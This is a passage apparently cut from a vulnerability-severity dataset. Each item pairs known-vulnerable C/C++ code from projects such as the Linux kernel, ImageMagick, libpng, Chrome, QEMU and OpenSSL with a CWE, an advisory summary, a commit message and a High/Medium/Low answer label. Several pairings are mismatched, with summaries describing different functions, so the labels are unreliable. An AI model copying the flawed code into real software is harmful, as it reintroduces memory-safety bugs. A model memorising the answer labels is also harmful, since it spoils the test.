atomic_read(&mm->mm_count), mm_pgtables_bytes(mm), mm->map_count, mm->hiwater_rss, mm->hiwater_vm, mm->total_vm, mm->locked_vm, mm->pinned_vm, mm->data_vm, mm->exec_vm, mm->stack_vm, mm->start_code, mm->end_code, mm->start_data, mm->end_data, mm->start_brk, mm->brk, mm->start_stack, mm->arg_start, mm->arg_end, mm->env_start, mm->env_end, mm->binfmt, mm->flags, mm->core_state, #ifdef CONFIG_AIO mm->ioctx_table, #endif #ifdef CONFIG_MEMCG mm->owner, #endif mm->exe_file, #ifdef CONFIG_MMU_NOTIFIER mm->mmu_notifier_mm, #endif #ifdef CONFIG_NUMA_BALANCING mm->numa_next_scan, mm->numa_scan_offset, mm->numa_scan_seq, #endif atomic_read(&mm->tlb_flush_pending), mm->def_flags, &mm->def_flags ); } Vulnerability Type: Overflow +Priv CWE ID: CWE-416 Summary: An issue was discovered in the Linux kernel through 4.18.8. The vmacache_flush_all function in mm/vmacache.c mishandles sequence number overflows. An attacker can trigger a use-after-free (and possibly gain privileges) via certain thread creation, map, unmap, invalidation, and dereference operations. Commit Message: mm: get rid of vmacache_flush_all() entirely Jann Horn points out that the vmacache_flush_all() function is not only potentially expensive, it's buggy too. It also happens to be entirely unnecessary, because the sequence number overflow case can be avoided by simply making the sequence number be 64-bit. That doesn't even grow the data structures in question, because the other adjacent fields are already 64-bit. So simplify the whole thing by just making the sequence number overflow case go away entirely, which gets rid of all the complications and makes the code faster too. Win-win. [ Oleg Nesterov points out that the VMACACHE_FULL_FLUSHES statistics also just goes away entirely with this ] Reported-by: Jann Horn <[email protected]> Suggested-by: Will Deacon <[email protected]> Acked-by: Davidlohr Bueso <[email protected]> Cc: Oleg Nesterov <[email protected]> Cc: [email protected] Signed-off-by: Linus Torvalds <[email protected]>
High
169,026
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: Segment::~Segment() { const long count = m_clusterCount + m_clusterPreloadCount; Cluster** i = m_clusters; Cluster** j = m_clusters + count; while (i != j) { Cluster* const p = *i++; assert(p); delete p; } delete[] m_clusters; delete m_pTracks; delete m_pInfo; delete m_pCues; delete m_pChapters; delete m_pSeekHead; } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,470
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static Image *ReadDIBImage(const ImageInfo *image_info,ExceptionInfo *exception) { DIBInfo dib_info; Image *image; IndexPacket index; ssize_t bit, y; MagickBooleanType status; MemoryInfo *pixel_info; register IndexPacket *indexes; register ssize_t x; register PixelPacket *q; register ssize_t i; register unsigned char *p; size_t bytes_per_line, length; ssize_t count; unsigned char *pixels; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Determine if this a DIB file. */ (void) ResetMagickMemory(&dib_info,0,sizeof(dib_info)); dib_info.size=ReadBlobLSBLong(image); if (dib_info.size!=40) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); /* Microsoft Windows 3.X DIB image file. */ dib_info.width=(short) ReadBlobLSBLong(image); dib_info.height=(short) ReadBlobLSBLong(image); dib_info.planes=ReadBlobLSBShort(image); dib_info.bits_per_pixel=ReadBlobLSBShort(image); dib_info.compression=ReadBlobLSBLong(image); dib_info.image_size=ReadBlobLSBLong(image); dib_info.x_pixels=ReadBlobLSBLong(image); dib_info.y_pixels=ReadBlobLSBLong(image); dib_info.number_colors=ReadBlobLSBLong(image); dib_info.colors_important=ReadBlobLSBLong(image); if ((dib_info.compression == BI_BITFIELDS) && ((dib_info.bits_per_pixel == 16) || (dib_info.bits_per_pixel == 32))) { dib_info.red_mask=ReadBlobLSBLong(image); dib_info.green_mask=ReadBlobLSBLong(image); dib_info.blue_mask=ReadBlobLSBLong(image); } image->matte=dib_info.bits_per_pixel == 32 ? MagickTrue : MagickFalse; image->columns=(size_t) MagickAbsoluteValue(dib_info.width); image->rows=(size_t) MagickAbsoluteValue(dib_info.height); image->depth=8; if ((dib_info.number_colors != 0) || (dib_info.bits_per_pixel < 16)) { size_t one; image->storage_class=PseudoClass; image->colors=dib_info.number_colors; one=1; if (image->colors == 0) image->colors=one << dib_info.bits_per_pixel; } if (image_info->size) { RectangleInfo geometry; MagickStatusType flags; flags=ParseAbsoluteGeometry(image_info->size,&geometry); if (flags & WidthValue) if ((geometry.width != 0) && (geometry.width < image->columns)) image->columns=geometry.width; if (flags & HeightValue) if ((geometry.height != 0) && (geometry.height < image->rows)) image->rows=geometry.height; } if (image->storage_class == PseudoClass) { size_t length, packet_size; unsigned char *dib_colormap; /* Read DIB raster colormap. */ if (AcquireImageColormap(image,image->colors) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); length=(size_t) image->colors; dib_colormap=(unsigned char *) AcquireQuantumMemory(length, 4*sizeof(*dib_colormap)); if (dib_colormap == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); packet_size=4; count=ReadBlob(image,packet_size*image->colors,dib_colormap); if (count != (ssize_t) (packet_size*image->colors)) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); p=dib_colormap; for (i=0; i < (ssize_t) image->colors; i++) { image->colormap[i].blue=ScaleCharToQuantum(*p++); image->colormap[i].green=ScaleCharToQuantum(*p++); image->colormap[i].red=ScaleCharToQuantum(*p++); if (packet_size == 4) p++; } dib_colormap=(unsigned char *) RelinquishMagickMemory(dib_colormap); } /* Read image data. */ if (dib_info.compression == BI_RLE4) dib_info.bits_per_pixel<<=1; bytes_per_line=4*((image->columns*dib_info.bits_per_pixel+31)/32); length=bytes_per_line*image->rows; pixel_info=AcquireVirtualMemory((size_t) image->rows,MagickMax( bytes_per_line,image->columns+256UL)*sizeof(*pixels)); if (pixel_info == (MemoryInfo *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info); if ((dib_info.compression == BI_RGB) || (dib_info.compression == BI_BITFIELDS)) { count=ReadBlob(image,length,pixels); if (count != (ssize_t) (length)) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); } else { /* Convert run-length encoded raster pixels. */ status=DecodeImage(image,dib_info.compression ? MagickTrue : MagickFalse, pixels); if (status == MagickFalse) ThrowReaderException(CorruptImageError,"UnableToRunlengthDecodeImage"); } /* Initialize image structure. */ image->units=PixelsPerCentimeterResolution; image->x_resolution=(double) dib_info.x_pixels/100.0; image->y_resolution=(double) dib_info.y_pixels/100.0; /* Convert DIB raster image to pixel packets. */ switch (dib_info.bits_per_pixel) { case 1: { /* Convert bitmap scanline. */ for (y=(ssize_t) image->rows-1; y >= 0; y--) { p=pixels+(image->rows-y-1)*bytes_per_line; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { index=(IndexPacket) ((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(indexes+x+bit,index); } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (ssize_t) (image->columns % 8); bit++) { index=(IndexPacket) ((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(indexes+x+bit,index); } p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,image->rows-y-1, image->rows); if (status == MagickFalse) break; } } (void) SyncImage(image); break; } case 4: { /* Convert PseudoColor scanline. */ for (y=(ssize_t) image->rows-1; y >= 0; y--) { p=pixels+(image->rows-y-1)*bytes_per_line; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 4) & 0xf); SetPixelIndex(indexes+x,index); index=ConstrainColormapIndex(image,*p & 0xf); SetPixelIndex(indexes+x+1,index); p++; } if ((image->columns % 2) != 0) { index=ConstrainColormapIndex(image,(*p >> 4) & 0xf); SetPixelIndex(indexes+x,index); p++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,image->rows-y-1, image->rows); if (status == MagickFalse) break; } } (void) SyncImage(image); break; } case 8: { /* Convert PseudoColor scanline. */ if ((dib_info.compression == BI_RLE8) || (dib_info.compression == BI_RLE4)) bytes_per_line=image->columns; for (y=(ssize_t) image->rows-1; y >= 0; y--) { p=pixels+(image->rows-y-1)*bytes_per_line; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; indexes=GetAuthenticIndexQueue(image); for (x=0; x < (ssize_t) image->columns; x++) { index=ConstrainColormapIndex(image,*p); SetPixelIndex(indexes+x,index); p++; q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,image->rows-y-1, image->rows); if (status == MagickFalse) break; } } (void) SyncImage(image); break; } case 16: { unsigned short word; /* Convert PseudoColor scanline. */ image->storage_class=DirectClass; if (dib_info.compression == BI_RLE8) bytes_per_line=2*image->columns; for (y=(ssize_t) image->rows-1; y >= 0; y--) { p=pixels+(image->rows-y-1)*bytes_per_line; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { word=(*p++); word|=(*p++ << 8); if (dib_info.red_mask == 0) { SetPixelRed(q,ScaleCharToQuantum(ScaleColor5to8( (unsigned char) ((word >> 10) & 0x1f)))); SetPixelGreen(q,ScaleCharToQuantum(ScaleColor5to8( (unsigned char) ((word >> 5) & 0x1f)))); SetPixelBlue(q,ScaleCharToQuantum(ScaleColor5to8( (unsigned char) (word & 0x1f)))); } else { SetPixelRed(q,ScaleCharToQuantum(ScaleColor5to8( (unsigned char) ((word >> 11) & 0x1f)))); SetPixelGreen(q,ScaleCharToQuantum(ScaleColor6to8( (unsigned char) ((word >> 5) & 0x3f)))); SetPixelBlue(q,ScaleCharToQuantum(ScaleColor5to8( (unsigned char) (word & 0x1f)))); } q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,image->rows-y-1, image->rows); if (status == MagickFalse) break; } } break; } case 24: case 32: { /* Convert DirectColor scanline. */ for (y=(ssize_t) image->rows-1; y >= 0; y--) { p=pixels+(image->rows-y-1)*bytes_per_line; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { SetPixelBlue(q,ScaleCharToQuantum(*p++)); SetPixelGreen(q,ScaleCharToQuantum(*p++)); SetPixelRed(q,ScaleCharToQuantum(*p++)); if (image->matte != MagickFalse) SetPixelOpacity(q,ScaleCharToQuantum(*p++)); q++; } if (SyncAuthenticPixels(image,exception) == MagickFalse) break; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,LoadImageTag,image->rows-y-1, image->rows); if (status == MagickFalse) break; } } break; } default: ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } pixel_info=RelinquishVirtualMemory(pixel_info); if (EOFBlob(image) != MagickFalse) ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); if (dib_info.height < 0) { Image *flipped_image; /* Correct image orientation. */ flipped_image=FlipImage(image,exception); if (flipped_image != (Image *) NULL) { DuplicateBlob(flipped_image,image); image=DestroyImage(image); image=flipped_image; } } (void) CloseBlob(image); return(GetFirstImageInList(image)); } Vulnerability Type: DoS Overflow CWE ID: CWE-119 Summary: Buffer overflow in the ReadVIFFImage function in coders/viff.c in ImageMagick before 6.9.4-5 allows remote attackers to cause a denial of service (application crash) via a crafted file. Commit Message:
Medium
168,557
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: image_transform_ini_end(PNG_CONST image_transform *this, transform_display *that) { UNUSED(this) UNUSED(that) } Vulnerability Type: +Priv CWE ID: Summary: Unspecified vulnerability in libpng before 1.6.20, as used in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-07-01, allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 23265085. Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
High
173,622
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: int writepng_init(mainprog_info *mainprog_ptr) { png_structp png_ptr; /* note: temporary variables! */ png_infop info_ptr; int color_type, interlace_type; /* could also replace libpng warning-handler (final NULL), but no need: */ png_ptr = png_create_write_struct(PNG_LIBPNG_VER_STRING, mainprog_ptr, writepng_error_handler, NULL); if (!png_ptr) return 4; /* out of memory */ info_ptr = png_create_info_struct(png_ptr); if (!info_ptr) { png_destroy_write_struct(&png_ptr, NULL); return 4; /* out of memory */ } /* setjmp() must be called in every function that calls a PNG-writing * libpng function, unless an alternate error handler was installed-- * but compatible error handlers must either use longjmp() themselves * (as in this program) or some other method to return control to * application code, so here we go: */ if (setjmp(mainprog_ptr->jmpbuf)) { png_destroy_write_struct(&png_ptr, &info_ptr); return 2; } /* make sure outfile is (re)opened in BINARY mode */ png_init_io(png_ptr, mainprog_ptr->outfile); /* set the compression levels--in general, always want to leave filtering * turned on (except for palette images) and allow all of the filters, * which is the default; want 32K zlib window, unless entire image buffer * is 16K or smaller (unknown here)--also the default; usually want max * compression (NOT the default); and remaining compression flags should * be left alone */ png_set_compression_level(png_ptr, Z_BEST_COMPRESSION); /* >> this is default for no filtering; Z_FILTERED is default otherwise: png_set_compression_strategy(png_ptr, Z_DEFAULT_STRATEGY); >> these are all defaults: png_set_compression_mem_level(png_ptr, 8); png_set_compression_window_bits(png_ptr, 15); png_set_compression_method(png_ptr, 8); */ /* set the image parameters appropriately */ if (mainprog_ptr->pnmtype == 5) color_type = PNG_COLOR_TYPE_GRAY; else if (mainprog_ptr->pnmtype == 6) color_type = PNG_COLOR_TYPE_RGB; else if (mainprog_ptr->pnmtype == 8) color_type = PNG_COLOR_TYPE_RGB_ALPHA; else { png_destroy_write_struct(&png_ptr, &info_ptr); return 11; } interlace_type = mainprog_ptr->interlaced? PNG_INTERLACE_ADAM7 : PNG_INTERLACE_NONE; png_set_IHDR(png_ptr, info_ptr, mainprog_ptr->width, mainprog_ptr->height, mainprog_ptr->sample_depth, color_type, interlace_type, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); if (mainprog_ptr->gamma > 0.0) png_set_gAMA(png_ptr, info_ptr, mainprog_ptr->gamma); if (mainprog_ptr->have_bg) { /* we know it's RGBA, not gray+alpha */ png_color_16 background; background.red = mainprog_ptr->bg_red; background.green = mainprog_ptr->bg_green; background.blue = mainprog_ptr->bg_blue; png_set_bKGD(png_ptr, info_ptr, &background); } if (mainprog_ptr->have_time) { png_time modtime; png_convert_from_time_t(&modtime, mainprog_ptr->modtime); png_set_tIME(png_ptr, info_ptr, &modtime); } if (mainprog_ptr->have_text) { png_text text[6]; int num_text = 0; if (mainprog_ptr->have_text & TEXT_TITLE) { text[num_text].compression = PNG_TEXT_COMPRESSION_NONE; text[num_text].key = "Title"; text[num_text].text = mainprog_ptr->title; ++num_text; } if (mainprog_ptr->have_text & TEXT_AUTHOR) { text[num_text].compression = PNG_TEXT_COMPRESSION_NONE; text[num_text].key = "Author"; text[num_text].text = mainprog_ptr->author; ++num_text; } if (mainprog_ptr->have_text & TEXT_DESC) { text[num_text].compression = PNG_TEXT_COMPRESSION_NONE; text[num_text].key = "Description"; text[num_text].text = mainprog_ptr->desc; ++num_text; } if (mainprog_ptr->have_text & TEXT_COPY) { text[num_text].compression = PNG_TEXT_COMPRESSION_NONE; text[num_text].key = "Copyright"; text[num_text].text = mainprog_ptr->copyright; ++num_text; } if (mainprog_ptr->have_text & TEXT_EMAIL) { text[num_text].compression = PNG_TEXT_COMPRESSION_NONE; text[num_text].key = "E-mail"; text[num_text].text = mainprog_ptr->email; ++num_text; } if (mainprog_ptr->have_text & TEXT_URL) { text[num_text].compression = PNG_TEXT_COMPRESSION_NONE; text[num_text].key = "URL"; text[num_text].text = mainprog_ptr->url; ++num_text; } png_set_text(png_ptr, info_ptr, text, num_text); } /* write all chunks up to (but not including) first IDAT */ png_write_info(png_ptr, info_ptr); /* if we wanted to write any more text info *after* the image data, we * would set up text struct(s) here and call png_set_text() again, with * just the new data; png_set_tIME() could also go here, but it would * have no effect since we already called it above (only one tIME chunk * allowed) */ /* set up the transformations: for now, just pack low-bit-depth pixels * into bytes (one, two or four pixels per byte) */ png_set_packing(png_ptr); /* png_set_shift(png_ptr, &sig_bit); to scale low-bit-depth values */ /* make sure we save our pointers for use in writepng_encode_image() */ mainprog_ptr->png_ptr = png_ptr; mainprog_ptr->info_ptr = info_ptr; /* OK, that's all we need to do for now; return happy */ return 0; } Vulnerability Type: +Priv CWE ID: Summary: Unspecified vulnerability in libpng before 1.6.20, as used in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-07-01, allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 23265085. Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
High
173,576
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void MessageService::OpenChannelToTab( int source_process_id, int source_routing_id, int receiver_port_id, int tab_id, const std::string& extension_id, const std::string& channel_name) { content::RenderProcessHost* source = content::RenderProcessHost::FromID(source_process_id); if (!source) return; Profile* profile = Profile::FromBrowserContext(source->GetBrowserContext()); WebContents* contents = NULL; scoped_ptr<MessagePort> receiver; if (ExtensionTabUtil::GetTabById(tab_id, profile, true, NULL, NULL, &contents, NULL)) { receiver.reset(new ExtensionMessagePort( contents->GetRenderProcessHost(), contents->GetRenderViewHost()->GetRoutingID(), extension_id)); } if (contents && contents->GetController().NeedsReload()) { ExtensionMessagePort port(source, MSG_ROUTING_CONTROL, extension_id); port.DispatchOnDisconnect(GET_OPPOSITE_PORT_ID(receiver_port_id), true); return; } WebContents* source_contents = tab_util::GetWebContentsByID( source_process_id, source_routing_id); std::string tab_json = "null"; if (source_contents) { scoped_ptr<DictionaryValue> tab_value(ExtensionTabUtil::CreateTabValue( source_contents, ExtensionTabUtil::INCLUDE_PRIVACY_SENSITIVE_FIELDS)); base::JSONWriter::Write(tab_value.get(), &tab_json); } scoped_ptr<OpenChannelParams> params(new OpenChannelParams(source, tab_json, receiver.release(), receiver_port_id, extension_id, extension_id, channel_name)); OpenChannelImpl(params.Pass()); } Vulnerability Type: CWE ID: CWE-264 Summary: Google Chrome before 26.0.1410.43 does not ensure that an extension has the tabs (aka APIPermission::kTab) permission before providing a URL to this extension, which has unspecified impact and remote attack vectors. Commit Message: Do not pass URLs in onUpdated events to extensions unless they have the "tabs" permission. BUG=168442 Review URL: https://chromiumcodereview.appspot.com/11824004 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176406 0039d316-1c4b-4281-b951-d872f2087c98
High
171,448
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: ScriptPromise Bluetooth::requestDevice(ScriptState* script_state, const RequestDeviceOptions* options, ExceptionState& exception_state) { ExecutionContext* context = ExecutionContext::From(script_state); #if !defined(OS_CHROMEOS) && !defined(OS_ANDROID) && !defined(OS_MACOSX) && \ !defined(OS_WIN) context->AddConsoleMessage(ConsoleMessage::Create( mojom::ConsoleMessageSource::kJavaScript, mojom::ConsoleMessageLevel::kInfo, "Web Bluetooth is experimental on this platform. See " "https://github.com/WebBluetoothCG/web-bluetooth/blob/gh-pages/" "implementation-status.md")); #endif CHECK(context->IsSecureContext()); auto& doc = *To<Document>(context); auto* frame = doc.GetFrame(); if (!frame) { return ScriptPromise::Reject( script_state, V8ThrowException::CreateTypeError( script_state->GetIsolate(), "Document not active")); } if (!LocalFrame::HasTransientUserActivation(frame)) { return ScriptPromise::RejectWithDOMException( script_state, MakeGarbageCollected<DOMException>( DOMExceptionCode::kSecurityError, "Must be handling a user gesture to show a permission request.")); } if (!service_) { frame->GetInterfaceProvider().GetInterface(mojo::MakeRequest( &service_, context->GetTaskRunner(TaskType::kMiscPlatformAPI))); } auto device_options = mojom::blink::WebBluetoothRequestDeviceOptions::New(); ConvertRequestDeviceOptions(options, device_options, exception_state); if (exception_state.HadException()) return ScriptPromise(); Platform::Current()->RecordRapporURL("Bluetooth.APIUsage.Origin", doc.Url()); auto* resolver = MakeGarbageCollected<ScriptPromiseResolver>(script_state); ScriptPromise promise = resolver->Promise(); service_->RequestDevice( std::move(device_options), WTF::Bind(&Bluetooth::RequestDeviceCallback, WrapPersistent(this), WrapPersistent(resolver))); return promise; } Vulnerability Type: Overflow CWE ID: CWE-119 Summary: Heap buffer overflow in filter processing in Skia in Google Chrome prior to 57.0.2987.98 for Mac, Windows, and Linux and 57.0.2987.108 for Android allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. Commit Message: bluetooth: Implement getAvailability() This change implements the getAvailability() method for navigator.bluetooth as defined in the specification. Bug: 707640 Change-Id: I9e9b3e7f8ea7f259e975f71cb6d9570e5f04b479 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1651516 Reviewed-by: Chris Harrelson <[email protected]> Reviewed-by: Giovanni Ortuño Urquidi <[email protected]> Reviewed-by: Kinuko Yasuda <[email protected]> Commit-Queue: Ovidio de Jesús Ruiz-Henríquez <[email protected]> Auto-Submit: Ovidio de Jesús Ruiz-Henríquez <[email protected]> Cr-Commit-Position: refs/heads/master@{#688987}
Medium
172,448
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: int SeekHead::GetCount() const { return m_entry_count; } Vulnerability Type: DoS Exec Code Overflow Mem. Corr. CWE ID: CWE-119 Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792. Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039
High
174,297
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg) { struct oabi_flock64 user; struct flock64 kernel; mm_segment_t fs = USER_DS; /* initialized to kill a warning */ unsigned long local_arg = arg; int ret; switch (cmd) { case F_OFD_GETLK: case F_OFD_SETLK: case F_OFD_SETLKW: case F_GETLK64: case F_SETLK64: case F_SETLKW64: if (copy_from_user(&user, (struct oabi_flock64 __user *)arg, sizeof(user))) return -EFAULT; kernel.l_type = user.l_type; kernel.l_whence = user.l_whence; kernel.l_start = user.l_start; kernel.l_len = user.l_len; kernel.l_pid = user.l_pid; local_arg = (unsigned long)&kernel; fs = get_fs(); set_fs(KERNEL_DS); } ret = sys_fcntl64(fd, cmd, local_arg); switch (cmd) { case F_GETLK64: if (!ret) { user.l_type = kernel.l_type; user.l_whence = kernel.l_whence; user.l_start = kernel.l_start; user.l_len = kernel.l_len; user.l_pid = kernel.l_pid; if (copy_to_user((struct oabi_flock64 __user *)arg, &user, sizeof(user))) ret = -EFAULT; } case F_SETLK64: case F_SETLKW64: set_fs(fs); } return ret; } Vulnerability Type: +Priv CWE ID: CWE-264 Summary: arch/arm/kernel/sys_oabi-compat.c in the Linux kernel before 4.4 allows local users to gain privileges via a crafted (1) F_OFD_GETLK, (2) F_OFD_SETLK, or (3) F_OFD_SETLKW command in an fcntl64 system call. Commit Message: [PATCH] arm: fix handling of F_OFD_... in oabi_fcntl64() Cc: [email protected] # 3.15+ Reviewed-by: Jeff Layton <[email protected]> Signed-off-by: Al Viro <[email protected]>
High
167,458
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: tight_detect_smooth_image(VncState *vs, int w, int h) { unsigned int errors; int compression = vs->tight.compression; int quality = vs->tight.quality; if (!vs->vd->lossy) { return 0; } if (ds_get_bytes_per_pixel(vs->ds) == 1 || vs->clientds.pf.bytes_per_pixel == 1 || w < VNC_TIGHT_DETECT_MIN_WIDTH || h < VNC_TIGHT_DETECT_MIN_HEIGHT) { return 0; } if (vs->tight.quality != (uint8_t)-1) { if (w * h < VNC_TIGHT_JPEG_MIN_RECT_SIZE) { return 0; } } else { if (w * h < tight_conf[compression].gradient_min_rect_size) { return 0; } } if (vs->clientds.pf.bytes_per_pixel == 4) { if (vs->tight.pixel24) { errors = tight_detect_smooth_image24(vs, w, h); if (vs->tight.quality != (uint8_t)-1) { return (errors < tight_conf[quality].jpeg_threshold24); } return (errors < tight_conf[compression].gradient_threshold24); } else { errors = tight_detect_smooth_image32(vs, w, h); } } else { errors = tight_detect_smooth_image16(vs, w, h); } if (quality != -1) { return (errors < tight_conf[quality].jpeg_threshold); } return (errors < tight_conf[compression].gradient_threshold); } Vulnerability Type: CWE ID: CWE-125 Summary: An out-of-bounds memory access issue was found in Quick Emulator (QEMU) before 1.7.2 in the VNC display driver. This flaw could occur while refreshing the VNC display surface area in the 'vnc_refresh_server_surface'. A user inside a guest could use this flaw to crash the QEMU process. Commit Message:
Medium
165,464
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: int CMS_decrypt(CMS_ContentInfo *cms, EVP_PKEY *pk, X509 *cert, BIO *dcont, BIO *out, unsigned int flags) { int r; BIO *cont; if (OBJ_obj2nid(CMS_get0_type(cms)) != NID_pkcs7_enveloped) { CMSerr(CMS_F_CMS_DECRYPT, CMS_R_TYPE_NOT_ENVELOPED_DATA); return 0; } if (!dcont && !check_content(cms)) return 0; if (flags & CMS_DEBUG_DECRYPT) cms->d.envelopedData->encryptedContentInfo->debug = 1; else cms->d.envelopedData->encryptedContentInfo->debug = 0; if (!pk && !cert && !dcont && !out) return 1; if (pk && !CMS_decrypt_set1_pkey(cms, pk, cert)) r = cms_copy_content(out, cont, flags); do_free_upto(cont, dcont); return r; } Vulnerability Type: CWE ID: CWE-311 Summary: In situations where an attacker receives automated notification of the success or failure of a decryption attempt an attacker, after sending a very large number of messages to be decrypted, can recover a CMS/PKCS7 transported encryption key or decrypt any RSA encrypted message that was encrypted with the public RSA key, using a Bleichenbacher padding oracle attack. Applications are not affected if they use a certificate together with the private RSA key to the CMS_decrypt or PKCS7_decrypt functions to select the correct recipient info to decrypt. Fixed in OpenSSL 1.1.1d (Affected 1.1.1-1.1.1c). Fixed in OpenSSL 1.1.0l (Affected 1.1.0-1.1.0k). Fixed in OpenSSL 1.0.2t (Affected 1.0.2-1.0.2s). Commit Message:
